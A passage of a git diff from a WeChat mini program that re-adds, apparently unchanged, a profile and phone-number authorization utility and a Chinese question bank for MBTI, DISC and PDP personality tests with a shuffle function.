ensureProfileCompleteAndRedirect() { - const app = getApp() - const token = app.globalData.token || wx.getStorageSync('token') - if (!token) return true - if (isProfileComplete()) return true - wx.showToast({ title: '请先完善个人资料', icon: 'none' }) - wx.navigateTo({ url: '/pages/user-profile/index' }) - return false -} - -/** - * 当前用户是否已有手机号(从 globalData.userInfo 或 storage 读取) - * @returns {boolean} - */ -function hasPhone() { - const app = getApp() - const user = app.globalData.userInfo || wx.getStorageSync('userInfo') - const phone = (user && (user.phone || user.phoneNumber)) ? String(user.phone || user.phoneNumber).trim() : '' - return phone.length > 0 -} - -/** - * 使用 getPhoneNumber 回调里的 code 调用后端接口换取手机号,并写回 userInfo - * @param {string} code - * @returns {Promise} resolve 为更新后的 userInfo - */ -function bindPhoneByCode(code) { - return new Promise((resolve, reject) => { - if (!code) { - wx.showToast({ title: '获取手机号失败', icon: 'none' }) - reject(new Error('empty code')) - return - } - - const app = getApp() - const token = app.globalData.token || wx.getStorageSync('token') - if (!token) { - wx.showToast({ title: '请先登录', icon: 'none' }) - reject(new Error('no token')) - return - } - - const apiBase = app.globalData.apiBase || '' - if (!apiBase) { - wx.showToast({ title: '服务未配置', icon: 'none' }) - reject(new Error('no api base')) - return - } - - wx.showLoading({ title: '处理中...', mask: true }) - wx.request({ - url: `${apiBase.replace(/\/$/, '')}/api/auth/wechat/phone`, - method: 'POST', - header: { - 'Authorization': 'Bearer ' + token, - 'Content-Type': 'application/json', - }, - data: { code }, - success: (res) => { - wx.hideLoading() - if (res.statusCode === 200 && res.data && res.data.code === 200) { - const data = res.data.data || {} - const user = data.user || app.globalData.userInfo || {} - const phone = data.phone || user.phone || '' - const newUser = { ...user, phone } - app.globalData.userInfo = newUser - wx.setStorageSync('userInfo', newUser) - wx.showToast({ title: '授权成功', icon: 'success' }) - resolve(newUser) - } else { - const msg = res.data && res.data.message ? res.data.message : '获取手机号失败' - wx.showToast({ title: msg, icon: 'none' }) - reject(new Error(msg)) - } - }, - fail: () => { - wx.hideLoading() - wx.showToast({ title: '网络请求失败', icon: 'none' }) - reject(new Error('network error')) - }, - }) - }) -} - -module.exports = { - hasPhone, - bindPhoneByCode, - isProfileComplete, - ensureProfileCompleteAndRedirect, -} +/** + * 手机号授权工具:基于微信 getPhoneNumber + 服务器端换取手机号接口 + * 个人资料完整性检查:头像、昵称、手机号为必填,生日和性别选填 + */ + +/** + * 个人资料是否已完善(头像、昵称、手机号必填,生日和性别选填) + * @returns {boolean} + */ +function isProfileComplete() { + const app = getApp() + const user = app.globalData.userInfo || wx.getStorageSync('userInfo') + if (!user) return false + const avatar = (user.avatar || user.avatarUrl || '').trim() + const nickname = (user.nickname || user.nickName || '').trim() + const phone = (user.phone || user.phoneNumber || '').trim() + return avatar.length > 0 && nickname.length > 0 && phone.length > 0 +} + +/** + * 若资料未完善则跳转到个人资料页,需登录 + * @returns {boolean} true=已完善可继续,false=已跳转 + */ +function ensureProfileCompleteAndRedirect() { + const app = getApp() + const token = app.globalData.token || wx.getStorageSync('token') + if (!token) return true + if (isProfileComplete()) return true + wx.showToast({ title: '请先完善个人资料', icon: 'none' }) + wx.navigateTo({ url: '/pages/user-profile/index' }) + return false +} + +/** + * 当前用户是否已有手机号(从 globalData.userInfo 或 storage 读取) + * @returns {boolean} + */ +function hasPhone() { + const app = getApp() + const user = app.globalData.userInfo || wx.getStorageSync('userInfo') + const phone = (user && (user.phone || user.phoneNumber)) ? String(user.phone || user.phoneNumber).trim() : '' + return phone.length > 0 +} + +/** + * 使用 getPhoneNumber 回调里的 code 调用后端接口换取手机号,并写回 userInfo + * @param {string} code + * @returns {Promise} resolve 为更新后的 userInfo + */ +function bindPhoneByCode(code) { + return new Promise((resolve, reject) => { + if (!code) { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + reject(new Error('empty code')) + return + } + + const app = getApp() + const token = app.globalData.token || wx.getStorageSync('token') + if (!token) { + wx.showToast({ title: '请先登录', icon: 'none' }) + reject(new Error('no token')) + return + } + + const apiBase = app.globalData.apiBase || '' + if (!apiBase) { + wx.showToast({ title: '服务未配置', icon: 'none' }) + reject(new Error('no api base')) + return + } + + wx.showLoading({ title: '处理中...', mask: true }) + wx.request({ + url: `${apiBase.replace(/\/$/, '')}/api/auth/wechat/phone`, + method: 'POST', + header: { + 'Authorization': 'Bearer ' + token, + 'Content-Type': 'application/json', + }, + data: { code }, + success: (res) => { + wx.hideLoading() + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const data = res.data.data || {} + const user = data.user || app.globalData.userInfo || {} + const phone = data.phone || user.phone || '' + const newUser = { ...user, phone } + app.globalData.userInfo = newUser + wx.setStorageSync('userInfo', newUser) + wx.showToast({ title: '授权成功', icon: 'success' }) + resolve(newUser) + } else { + const msg = res.data && res.data.message ? res.data.message : '获取手机号失败' + wx.showToast({ title: msg, icon: 'none' }) + reject(new Error(msg)) + } + }, + fail: () => { + wx.hideLoading() + wx.showToast({ title: '网络请求失败', icon: 'none' }) + reject(new Error('network error')) + }, + }) + }) +} + +module.exports = { + hasPhone, + bindPhoneByCode, + isProfileComplete, + ensureProfileCompleteAndRedirect, +} diff --git a/miniprogram/utils/questions.js b/miniprogram/utils/questions.js index 161866d..29ec9ac 100644 --- a/miniprogram/utils/questions.js +++ b/miniprogram/utils/questions.js @@ -1,117 +1,117 @@ -// utils/questions.js - 测试题库 - -// MBTI测试题(精简版30题,每个维度约7-8题) -const mbtiQuestions = [ - // E vs I 维度 (8题) - { id: 1, question: "在社交场合中,您通常会:", dimension: "EI", options: [{ value: "E", text: "认识新朋友,扩大社交圈" }, { value: "I", text: "与已认识的朋友交流" }] }, - { id: 2, question: "您更喜欢:", dimension: "EI", options: [{ value: "E", text: "在团队中工作" }, { value: "I", text: "独立工作" }] }, - { id: 3, question: "当您需要充电时,您会选择:", dimension: "EI", options: [{ value: "E", text: "与朋友聚会" }, { value: "I", text: "独处休息" }] }, - { id: 4, question: "在会议中,您通常:", dimension: "EI", options: [{ value: "E", text: "积极发言" }, { value: "I", text: "先思考再发表" }] }, - { id: 5, question: "您更倾向于:", dimension: "EI", options: [{ value: "E", text: "认识很多人" }, { value: "I", text: "与少数人深交" }] }, - { id: 6, question: "面对问题时,您更倾向于:", dimension: "EI", options: [{ value: "E", text: "与他人讨论" }, { value: "I", text: "独自思考" }] }, - { id: 7, question: "您更喜欢的休闲活动是:", dimension: "EI", options: [{ value: "E", text: "团体活动" }, { value: "I", text: "个人爱好" }] }, - { id: 8, question: "在陌生环境中,您通常会:", dimension: "EI", options: [{ value: "E", text: "主动与人交谈" }, { value: "I", text: "观察周围环境" }] }, - - // S vs N 维度 (7题) - { id: 9, question: "您更关注:", dimension: "SN", options: [{ value: "S", text: "具体的细节和事实" }, { value: "N", text: "整体概念和可能性" }] }, - { id: 10, question: "您更信任:", dimension: "SN", options: [{ value: "S", text: "实际经验" }, { value: "N", text: "直觉和灵感" }] }, - { id: 11, question: "您更喜欢:", dimension: "SN", options: [{ value: "S", text: "按步骤执行" }, { value: "N", text: "创造性解决" }] }, - { id: 12, question: "学习新事物时,您更喜欢:", dimension: "SN", options: [{ value: "S", text: "实际操作" }, { value: "N", text: "理论学习" }] }, - { id: 13, question: "您更喜欢的工作类型是:", dimension: "SN", options: [{ value: "S", text: "明确的任务" }, { value: "N", text: "创新的项目" }] }, - { id: 14, question: "您描述事物时更倾向于:", dimension: "SN", options: [{ value: "S", text: "具体描述" }, { value: "N", text: "使用比喻" }] }, - { id: 15, question: "您更关心:", dimension: "SN", options: [{ value: "S", text: "当下的现实" }, { value: "N", text: "未来的可能" }] }, - - // T vs F 维度 (8题) - { id: 16, question: "做决定时,您更依赖:", dimension: "TF", options: [{ value: "T", text: "逻辑分析" }, { value: "F", text: "个人价值" }] }, - { id: 17, question: "在争论中,您更看重:", dimension: "TF", options: [{ value: "T", text: "事实真相" }, { value: "F", text: "和谐关系" }] }, - { id: 18, question: "给予反馈时,您更注重:", dimension: "TF", options: [{ value: "T", text: "直接指出问题" }, { value: "F", text: "考虑对方感受" }] }, - { id: 19, question: "评估方案时,您更关注:", dimension: "TF", options: [{ value: "T", text: "效率和结果" }, { value: "F", text: "对人的影响" }] }, - { id: 20, question: "当朋友遇到困难时,您更倾向于:", dimension: "TF", options: [{ value: "T", text: "分析问题提供建议" }, { value: "F", text: "倾听并给予支持" }] }, - { id: 21, question: "您更欣赏的品质是:", dimension: "TF", options: [{ value: "T", text: "理性客观" }, { value: "F", text: "善解人意" }] }, - { id: 22, question: "您认为好的决定应该:", dimension: "TF", options: [{ value: "T", text: "基于客观分析" }, { value: "F", text: "考虑各方感受" }] }, - { id: 23, question: "当与他人意见不同时,您更倾向于:", dimension: "TF", options: [{ value: "T", text: "坚持正确观点" }, { value: "F", text: "寻求共识" }] }, - - // J vs P 维度 (7题) - { id: 24, question: "您更喜欢的工作方式是:", dimension: "JP", options: [{ value: "J", text: "有计划地进行" }, { value: "P", text: "随机应变" }] }, - { id: 25, question: "对于截止日期,您通常:", dimension: "JP", options: [{ value: "J", text: "提前完成" }, { value: "P", text: "在最后完成" }] }, - { id: 26, question: "您的生活方式更倾向于:", dimension: "JP", options: [{ value: "J", text: "有条理有规律" }, { value: "P", text: "灵活随意" }] }, - { id: 27, question: "面对选择时,您更倾向于:", dimension: "JP", options: [{ value: "J", text: "快速做出决定" }, { value: "P", text: "保持开放选项" }] }, - { id: 28, question: "您的桌面通常是:", dimension: "JP", options: [{ value: "J", text: "整洁有序" }, { value: "P", text: "创意性混乱" }] }, - { id: 29, question: "计划改变时,您的反应是:", dimension: "JP", options: [{ value: "J", text: "感到不安" }, { value: "P", text: "觉得有趣" }] }, - { id: 30, question: "您更喜欢:", dimension: "JP", options: [{ value: "J", text: "事先规划" }, { value: "P", text: "即兴发挥" }] } -] - -// DISC测试题 (20题) -const discQuestions = [ - { id: 1, question: "在团队中,您更倾向于:", options: [{ value: "D", text: "主导决策,带领团队" }, { value: "I", text: "活跃气氛,激励成员" }, { value: "S", text: "支持他人,确保和谐" }, { value: "C", text: "分析数据,确保质量" }] }, - { id: 2, question: "面对挑战时,您的第一反应是:", options: [{ value: "D", text: "立即行动" }, { value: "I", text: "寻找支持" }, { value: "S", text: "冷静思考" }, { value: "C", text: "收集信息" }] }, - { id: 3, question: "您在工作中最看重的是:", options: [{ value: "D", text: "成果和效率" }, { value: "I", text: "认可和赞赏" }, { value: "S", text: "稳定和安全" }, { value: "C", text: "准确和质量" }] }, - { id: 4, question: "与他人沟通时,您通常:", options: [{ value: "D", text: "直接了当" }, { value: "I", text: "热情友好" }, { value: "S", text: "耐心倾听" }, { value: "C", text: "逻辑清晰" }] }, - { id: 5, question: "压力之下,您会:", options: [{ value: "D", text: "更加强势" }, { value: "I", text: "寻求鼓励" }, { value: "S", text: "保持冷静" }, { value: "C", text: "更加谨慎" }] }, - { id: 6, question: "您认为自己的优势是:", options: [{ value: "D", text: "决断力强" }, { value: "I", text: "人际关系好" }, { value: "S", text: "可靠稳定" }, { value: "C", text: "分析能力强" }] }, - { id: 7, question: "在会议中,您通常扮演:", options: [{ value: "D", text: "主导者" }, { value: "I", text: "激励者" }, { value: "S", text: "调和者" }, { value: "C", text: "分析者" }] }, - { id: 8, question: "您最不喜欢的工作环境是:", options: [{ value: "D", text: "进展缓慢" }, { value: "I", text: "被孤立" }, { value: "S", text: "变化太快" }, { value: "C", text: "混乱无序" }] }, - { id: 9, question: "做决定时,您更依赖:", options: [{ value: "D", text: "直觉经验" }, { value: "I", text: "他人意见" }, { value: "S", text: "过去经验" }, { value: "C", text: "数据事实" }] }, - { id: 10, question: "您的工作风格是:", options: [{ value: "D", text: "快速高效" }, { value: "I", text: "灵活多变" }, { value: "S", text: "稳定持续" }, { value: "C", text: "严谨细致" }] }, - { id: 11, question: "遇到冲突时,您会:", options: [{ value: "D", text: "直面解决" }, { value: "I", text: "调解双方" }, { value: "S", text: "避免冲突" }, { value: "C", text: "分析原因" }] }, - { id: 12, question: "您期望的领导风格是:", options: [{ value: "D", text: "给予挑战" }, { value: "I", text: "认可表扬" }, { value: "S", text: "稳定支持" }, { value: "C", text: "明确指导" }] }, - { id: 13, question: "处理任务时,您更注重:", options: [{ value: "D", text: "速度效率" }, { value: "I", text: "创意新颖" }, { value: "S", text: "过程协作" }, { value: "C", text: "质量准确" }] }, - { id: 14, question: "您的社交方式是:", options: [{ value: "D", text: "目的明确" }, { value: "I", text: "广泛社交" }, { value: "S", text: "深度交往" }, { value: "C", text: "选择性社交" }] }, - { id: 15, question: "您理想的工作节奏是:", options: [{ value: "D", text: "快节奏" }, { value: "I", text: "灵活多变" }, { value: "S", text: "稳定有序" }, { value: "C", text: "有条理" }] }, - { id: 16, question: "面对变化,您的态度是:", options: [{ value: "D", text: "主动拥抱" }, { value: "I", text: "积极适应" }, { value: "S", text: "需要时间" }, { value: "C", text: "谨慎评估" }] }, - { id: 17, question: "您的时间管理风格是:", options: [{ value: "D", text: "高效利用" }, { value: "I", text: "灵活安排" }, { value: "S", text: "按部就班" }, { value: "C", text: "精确规划" }] }, - { id: 18, question: "激励您的是:", options: [{ value: "D", text: "成就控制" }, { value: "I", text: "认可社交" }, { value: "S", text: "稳定归属" }, { value: "C", text: "正确标准" }] }, - { id: 19, question: "您处理细节的方式是:", options: [{ value: "D", text: "关注大局" }, { value: "I", text: "可能忽略" }, { value: "S", text: "认真对待" }, { value: "C", text: "极度重视" }] }, - { id: 20, question: "您对规则的态度是:", options: [{ value: "D", text: "灵活打破" }, { value: "I", text: "灵活运用" }, { value: "S", text: "遵守维护" }, { value: "C", text: "严格遵守" }] } -] - -// PDP测试题 (20题) -const pdpQuestions = [ - { id: 1, question: "面对紧急任务,您的第一反应是:", options: [{ value: "Tiger", text: "立即行动" }, { value: "Peacock", text: "召集团队" }, { value: "Koala", text: "冷静分析" }, { value: "Owl", text: "仔细规划" }, { value: "Chameleon", text: "灵活应对" }] }, - { id: 2, question: "在社交场合,您通常会:", options: [{ value: "Tiger", text: "主导话题" }, { value: "Peacock", text: "活跃气氛" }, { value: "Koala", text: "安静倾听" }, { value: "Owl", text: "观察分析" }, { value: "Chameleon", text: "根据对象调整" }] }, - { id: 3, question: "您最看重工作中的:", options: [{ value: "Tiger", text: "权力和成就" }, { value: "Peacock", text: "认可和赞赏" }, { value: "Koala", text: "稳定和和谐" }, { value: "Owl", text: "准确和质量" }, { value: "Chameleon", text: "平衡和适应" }] }, - { id: 4, question: "处理冲突时,您倾向于:", options: [{ value: "Tiger", text: "直接解决" }, { value: "Peacock", text: "调解双方" }, { value: "Koala", text: "避免冲突" }, { value: "Owl", text: "理性处理" }, { value: "Chameleon", text: "视情况而定" }] }, - { id: 5, question: "您的决策风格是:", options: [{ value: "Tiger", text: "果断迅速" }, { value: "Peacock", text: "直觉判断" }, { value: "Koala", text: "深思熟虑" }, { value: "Owl", text: "数据分析" }, { value: "Chameleon", text: "灵活决策" }] }, - { id: 6, question: "面对压力,您会:", options: [{ value: "Tiger", text: "更加强势" }, { value: "Peacock", text: "寻求支持" }, { value: "Koala", text: "保持冷静" }, { value: "Owl", text: "更加谨慎" }, { value: "Chameleon", text: "调整策略" }] }, - { id: 7, question: "您的领导风格是:", options: [{ value: "Tiger", text: "指挥型" }, { value: "Peacock", text: "激励型" }, { value: "Koala", text: "支持型" }, { value: "Owl", text: "专家型" }, { value: "Chameleon", text: "教练型" }] }, - { id: 8, question: "您处理细节的方式是:", options: [{ value: "Tiger", text: "关注大局" }, { value: "Peacock", text: "可能忽略" }, { value: "Koala", text: "认真对待" }, { value: "Owl", text: "极度重视" }, { value: "Chameleon", text: "视情况决定" }] }, - { id: 9, question: "您的沟通方式是:", options: [{ value: "Tiger", text: "直接简短" }, { value: "Peacock", text: "热情生动" }, { value: "Koala", text: "温和耐心" }, { value: "Owl", text: "逻辑清晰" }, { value: "Chameleon", text: "根据对象调整" }] }, - { id: 10, question: "您对变化的态度是:", options: [{ value: "Tiger", text: "主动推动" }, { value: "Peacock", text: "积极拥抱" }, { value: "Koala", text: "需要适应" }, { value: "Owl", text: "谨慎评估" }, { value: "Chameleon", text: "随机应变" }] }, - { id: 11, question: "您的时间管理风格是:", options: [{ value: "Tiger", text: "追求速度" }, { value: "Peacock", text: "灵活安排" }, { value: "Koala", text: "稳定执行" }, { value: "Owl", text: "精确规划" }, { value: "Chameleon", text: "根据情况调整" }] }, - { id: 12, question: "您被什么激励:", options: [{ value: "Tiger", text: "成就权力" }, { value: "Peacock", text: "认可赞赏" }, { value: "Koala", text: "安全归属" }, { value: "Owl", text: "正确标准" }, { value: "Chameleon", text: "多样平衡" }] }, - { id: 13, question: "您的学习方式是:", options: [{ value: "Tiger", text: "边做边学" }, { value: "Peacock", text: "互动讨论" }, { value: "Koala", text: "循序渐进" }, { value: "Owl", text: "深入研究" }, { value: "Chameleon", text: "多种结合" }] }, - { id: 14, question: "您对规则的态度是:", options: [{ value: "Tiger", text: "灵活打破" }, { value: "Peacock", text: "不拘一格" }, { value: "Koala", text: "遵守维护" }, { value: "Owl", text: "严格遵守" }, { value: "Chameleon", text: "灵活处理" }] }, - { id: 15, question: "您在团队中的角色是:", options: [{ value: "Tiger", text: "领导者" }, { value: "Peacock", text: "激励者" }, { value: "Koala", text: "协调者" }, { value: "Owl", text: "专家" }, { value: "Chameleon", text: "多面手" }] }, - { id: 16, question: "您的工作节奏是:", options: [{ value: "Tiger", text: "快节奏" }, { value: "Peacock", text: "充满活力" }, { value: "Koala", text: "稳定有序" }, { value: "Owl", text: "有条理" }, { value: "Chameleon", text: "灵活调整" }] }, - { id: 17, question: "您最大的优势是:", options: [{ value: "Tiger", text: "执行力" }, { value: "Peacock", text: "影响力" }, { value: "Koala", text: "可靠性" }, { value: "Owl", text: "准确性" }, { value: "Chameleon", text: "适应力" }] }, - { id: 18, question: "您的人际关系特点是:", options: [{ value: "Tiger", text: "目标导向" }, { value: "Peacock", text: "朋友众多" }, { value: "Koala", text: "关系稳定" }, { value: "Owl", text: "志同道合" }, { value: "Chameleon", text: "灵活建立" }] }, - { id: 19, question: "面对批评,您的反应是:", options: [{ value: "Tiger", text: "可能反驳" }, { value: "Peacock", text: "可能受伤" }, { value: "Koala", text: "接受思考" }, { value: "Owl", text: "分析合理性" }, { value: "Chameleon", text: "灵活调整" }] }, - { id: 20, question: "您的理想工作环境是:", options: [{ value: "Tiger", text: "充满挑战" }, { value: "Peacock", text: "互动频繁" }, { value: "Koala", text: "稳定和谐" }, { value: "Owl", text: "有序规范" }, { value: "Chameleon", text: "灵活多变" }] } -] - -/** - * Fisher-Yates 洗牌:随机打乱题目顺序,同时随机打乱每题的选项顺序 - * 不修改原数组,返回深拷贝后的新数组 - * @param {Array} questions - 原题目数组 - * @returns {Array} 打乱后的题目数组 - */ -function shuffleQuestions(questions) { - // 深拷贝,避免污染原始数组 - const arr = questions.map(q => ({ - ...q, - options: q.options.slice().sort(() => Math.random() - 0.5) - })) - // Fisher-Yates 打乱题目顺序 - for (let i = arr.length - 1; i > 0; i--) { - const j = Math.floor(Math.random() * (i + 1)); - [arr[i], arr[j]] = [arr[j], arr[i]] - } - return arr -} - -module.exports = { - mbtiQuestions, - discQuestions, - pdpQuestions, - shuffleQuestions -} +// utils/questions.js - 测试题库 + +// MBTI测试题(精简版30题,每个维度约7-8题) +const mbtiQuestions = [ + // E vs I 维度 (8题) + { id: 1, question: "在社交场合中,您通常会:", dimension: "EI", options: [{ value: "E", text: "认识新朋友,扩大社交圈" }, { value: "I", text: "与已认识的朋友交流" }] }, + { id: 2, question: "您更喜欢:", dimension: "EI", options: [{ value: "E", text: "在团队中工作" }, { value: "I", text: "独立工作" }] }, + { id: 3, question: "当您需要充电时,您会选择:", dimension: "EI", options: [{ value: "E", text: "与朋友聚会" }, { value: "I", text: "独处休息" }] }, + { id: 4, question: "在会议中,您通常:", dimension: "EI", options: [{ value: "E", text: "积极发言" }, { value: "I", text: "先思考再发表" }] }, + { id: 5, question: "您更倾向于:", dimension: "EI", options: [{ value: "E", text: "认识很多人" }, { value: "I", text: "与少数人深交" }] }, + { id: 6, question: "面对问题时,您更倾向于:", dimension: "EI", options: [{ value: "E", text: "与他人讨论" }, { value: "I", text: "独自思考" }] }, + { id: 7, question: "您更喜欢的休闲活动是:", dimension: "EI", options: [{ value: "E", text: "团体活动" }, { value: "I", text: "个人爱好" }] }, + { id: 8, question: "在陌生环境中,您通常会:", dimension: "EI", options: [{ value: "E", text: "主动与人交谈" }, { value: "I", text: "观察周围环境" }] }, + + // S vs N 维度 (7题) + { id: 9, question: "您更关注:", dimension: "SN", options: [{ value: "S", text: "具体的细节和事实" }, { value: "N", text: "整体概念和可能性" }] }, + { id: 10, question: "您更信任:", dimension: "SN", options: [{ value: "S", text: "实际经验" }, { value: "N", text: "直觉和灵感" }] }, + { id: 11, question: "您更喜欢:", dimension: "SN", options: [{ value: "S", text: "按步骤执行" }, { value: "N", text: "创造性解决" }] }, + { id: 12, question: "学习新事物时,您更喜欢:", dimension: "SN", options: [{ value: "S", text: "实际操作" }, { value: "N", text: "理论学习" }] }, + { id: 13, question: "您更喜欢的工作类型是:", dimension: "SN", options: [{ value: "S", text: "明确的任务" }, { value: "N", text: "创新的项目" }] }, + { id: 14, question: "您描述事物时更倾向于:", dimension: "SN", options: [{ value: "S", text: "具体描述" }, { value: "N", text: "使用比喻" }] }, + { id: 15, question: "您更关心:", dimension: "SN", options: [{ value: "S", text: "当下的现实" }, { value: "N", text: "未来的可能" }] }, + + // T vs F 维度 (8题) + { id: 16, question: "做决定时,您更依赖:", dimension: "TF", options: [{ value: "T", text: "逻辑分析" }, { value: "F", text: "个人价值" }] }, + { id: 17, question: "在争论中,您更看重:", dimension: "TF", options: [{ value: "T", text: "事实真相" }, { value: "F", text: "和谐关系" }] }, + { id: 18, question: "给予反馈时,您更注重:", dimension: "TF", options: [{ value: "T", text: "直接指出问题" }, { value: "F", text: "考虑对方感受" }] }, + { id: 19, question: "评估方案时,您更关注:", dimension: "TF", options: [{ value: "T", text: "效率和结果" }, { value: "F", text: "对人的影响" }] }, + { id: 20, question: "当朋友遇到困难时,您更倾向于:", dimension: "TF", options: [{ value: "T", text: "分析问题提供建议" }, { value: "F", text: "倾听并给予支持" }] }, + { id: 21, question: "您更欣赏的品质是:", dimension: "TF", options: [{ value: "T", text: "理性客观" }, { value: "F", text: "善解人意" }] }, + { id: 22, question: "您认为好的决定应该:", dimension: "TF", options: [{ value: "T", text: "基于客观分析" }, { value: "F", text: "考虑各方感受" }] }, + { id: 23, question: "当与他人意见不同时,您更倾向于:", dimension: "TF", options: [{ value: "T", text: "坚持正确观点" }, { value: "F", text: "寻求共识" }] }, + + // J vs P 维度 (7题) + { id: 24, question: "您更喜欢的工作方式是:", dimension: "JP", options: [{ value: "J", text: "有计划地进行" }, { value: "P", text: "随机应变" }] }, + { id: 25, question: "对于截止日期,您通常:", dimension: "JP", options: [{ value: "J", text: "提前完成" }, { value: "P", text: "在最后完成" }] }, + { id: 26, question: "您的生活方式更倾向于:", dimension: "JP", options: [{ value: "J", text: "有条理有规律" }, { value: "P", text: "灵活随意" }] }, + { id: 27, question: "面对选择时,您更倾向于:", dimension: "JP", options: [{ value: "J", text: "快速做出决定" }, { value: "P", text: "保持开放选项" }] }, + { id: 28, question: "您的桌面通常是:", dimension: "JP", options: [{ value: "J", text: "整洁有序" }, { value: "P", text: "创意性混乱" }] }, + { id: 29, question: "计划改变时,您的反应是:", dimension: "JP", options: [{ value: "J", text: "感到不安" }, { value: "P", text: "觉得有趣" }] }, + { id: 30, question: "您更喜欢:", dimension: "JP", options: [{ value: "J", text: "事先规划" }, { value: "P", text: "即兴发挥" }] } +] + +// DISC测试题 (20题) +const discQuestions = [ + { id: 1, question: "在团队中,您更倾向于:", options: [{ value: "D", text: "主导决策,带领团队" }, { value: "I", text: "活跃气氛,激励成员" }, { value: "S", text: "支持他人,确保和谐" }, { value: "C", text: "分析数据,确保质量" }] }, + { id: 2, question: "面对挑战时,您的第一反应是:", options: [{ value: "D", text: "立即行动" }, { value: "I", text: "寻找支持" }, { value: "S", text: "冷静思考" }, { value: "C", text: "收集信息" }] }, + { id: 3, question: "您在工作中最看重的是:", options: [{ value: "D", text: "成果和效率" }, { value: "I", text: "认可和赞赏" }, { value: "S", text: "稳定和安全" }, { value: "C", text: "准确和质量" }] }, + { id: 4, question: "与他人沟通时,您通常:", options: [{ value: "D", text: "直接了当" }, { value: "I", text: "热情友好" }, { value: "S", text: "耐心倾听" }, { value: "C", text: "逻辑清晰" }] }, + { id: 5, question: "压力之下,您会:", options: [{ value: "D", text: "更加强势" }, { value: "I", text: "寻求鼓励" }, { value: "S", text: "保持冷静" }, { value: "C", text: "更加谨慎" }] }, + { id: 6, question: "您认为自己的优势是:", options: [{ value: "D", text: "决断力强" }, { value: "I", text: "人际关系好" }, { value: "S", text: "可靠稳定" }, { value: "C", text: "分析能力强" }] }, + { id: 7, question: "在会议中,您通常扮演:", options: [{ value: "D", text: "主导者" }, { value: "I", text: "激励者" }, { value: "S", text: "调和者" }, { value: "C", text: "分析者" }] }, + { id: 8, question: "您最不喜欢的工作环境是:", options: [{ value: "D", text: "进展缓慢" }, { value: "I", text: "被孤立" }, { value: "S", text: "变化太快" }, { value: "C", text: "混乱无序" }] }, + { id: 9, question: "做决定时,您更依赖:", options: [{ value: "D", text: "直觉经验" }, { value: "I", text: "他人意见" }, { value: "S", text: "过去经验" }, { value: "C", text: "数据事实" }] }, + { id: 10, question: "您的工作风格是:", options: [{ value: "D", text: "快速高效" }, { value: "I", text: "灵活多变" }, { value: "S", text: "稳定持续" }, { value: "C", text: "严谨细致" }] }, + { id: 11, question: "遇到冲突时,您会:", options: [{ value: "D", text: "直面解决" }, { value: "I", text: "调解双方" }, { value: "S", text: "避免冲突" }, { value: "C", text: "分析原因" }] }, + { id: 12, question: "您期望的领导风格是:", options: [{ value: "D", text: "给予挑战" }, { value: "I", text: "认可表扬" }, { value: "S", text: "稳定支持" }, { value: "C", text: "明确指导" }] }, + { id: 13, question: "处理任务时,您更注重:", options: [{ value: "D", text: "速度效率" }, { value: "I", text: "创意新颖" }, { value: "S", text: "过程协作" }, { value: "C", text: "质量准确" }] }, + { id: 14, question: "您的社交方式是:", options: [{ value: "D", text: "目的明确" }, { value: "I", text: "广泛社交" }, { value: "S", text: "深度交往" }, { value: "C", text: "选择性社交" }] }, + { id: 15, question: "您理想的工作节奏是:", options: [{ value: "D", text: "快节奏" }, { value: "I", text: "灵活多变" }, { value: "S", text: "稳定有序" }, { value: "C", text: "有条理" }] }, + { id: 16, question: "面对变化,您的态度是:", options: [{ value: "D", text: "主动拥抱" }, { value: "I", text: "积极适应" }, { value: "S", text: "需要时间" }, { value: "C", text: "谨慎评估" }] }, + { id: 17, question: "您的时间管理风格是:", options: [{ value: "D", text: "高效利用" }, { value: "I", text: "灵活安排" }, { value: "S", text: "按部就班" }, { value: "C", text: "精确规划" }] }, + { id: 18, question: "激励您的是:", options: [{ value: "D", text: "成就控制" }, { value: "I", text: "认可社交" }, { value: "S", text: "稳定归属" }, { value: "C", text: "正确标准" }] }, + { id: 19, question: "您处理细节的方式是:", options: [{ value: "D", text: "关注大局" }, { value: "I", text: "可能忽略" }, { value: "S", text: "认真对待" }, { value: "C", text: "极度重视" }] }, + { id: 20, question: "您对规则的态度是:", options: [{ value: "D", text: "灵活打破" }, { value: "I", text: "灵活运用" }, { value: "S", text: "遵守维护" }, { value: "C", text: "严格遵守" }] } +] + +// PDP测试题 (20题) +const pdpQuestions = [ + { id: 1, question: "面对紧急任务,您的第一反应是:", options: [{ value: "Tiger", text: "立即行动" }, { value: "Peacock", text: "召集团队" }, { value: "Koala", text: "冷静分析" }, { value: "Owl", text: "仔细规划" }, { value: "Chameleon", text: "灵活应对" }] }, + { id: 2, question: "在社交场合,您通常会:", options: [{ value: "Tiger", text: "主导话题" }, { value: "Peacock", text: "活跃气氛" }, { value: "Koala", text: "安静倾听" }, { value: "Owl", text: "观察分析" }, { value: "Chameleon", text: "根据对象调整" }] }, + { id: 3, question: "您最看重工作中的:", options: [{ value: "Tiger", text: "权力和成就" }, { value: "Peacock", text: "认可和赞赏" }, { value: "Koala", text: "稳定和和谐" }, { value: "Owl", text: "准确和质量" }, { value: "Chameleon", text: "平衡和适应" }] }, + { id: 4, question: "处理冲突时,您倾向于:", options: [{ value: "Tiger", text: "直接解决" }, { value: "Peacock", text: "调解双方" }, { value: "Koala", text: "避免冲突" }, { value: "Owl", text: "理性处理" }, { value: "Chameleon", text: "视情况而定" }] }, + { id: 5, question: "您的决策风格是:", options: [{ value: "Tiger", text: "果断迅速" }, { value: "Peacock", text: "直觉判断" }, { value: "Koala", text: "深思熟虑" }, { value: "Owl", text: "数据分析" }, { value: "Chameleon", text: "灵活决策" }] }, + { id: 6, question: "面对压力,您会:", options: [{ value: "Tiger", text: "更加强势" }, { value: "Peacock", text: "寻求支持" }, { value: "Koala", text: "保持冷静" }, { value: "Owl", text: "更加谨慎" }, { value: "Chameleon", text: "调整策略" }] }, + { id: 7, question: "您的领导风格是:", options: [{ value: "Tiger", text: "指挥型" }, { value: "Peacock", text: "激励型" }, { value: "Koala", text: "支持型" }, { value: "Owl", text: "专家型" }, { value: "Chameleon", text: "教练型" }] }, + { id: 8, question: "您处理细节的方式是:", options: [{ value: "Tiger", text: "关注大局" }, { value: "Peacock", text: "可能忽略" }, { value: "Koala", text: "认真对待" }, { value: "Owl", text: "极度重视" }, { value: "Chameleon", text: "视情况决定" }] }, + { id: 9, question: "您的沟通方式是:", options: [{ value: "Tiger", text: "直接简短" }, { value: "Peacock", text: "热情生动" }, { value: "Koala", text: "温和耐心" }, { value: "Owl", text: "逻辑清晰" }, { value: 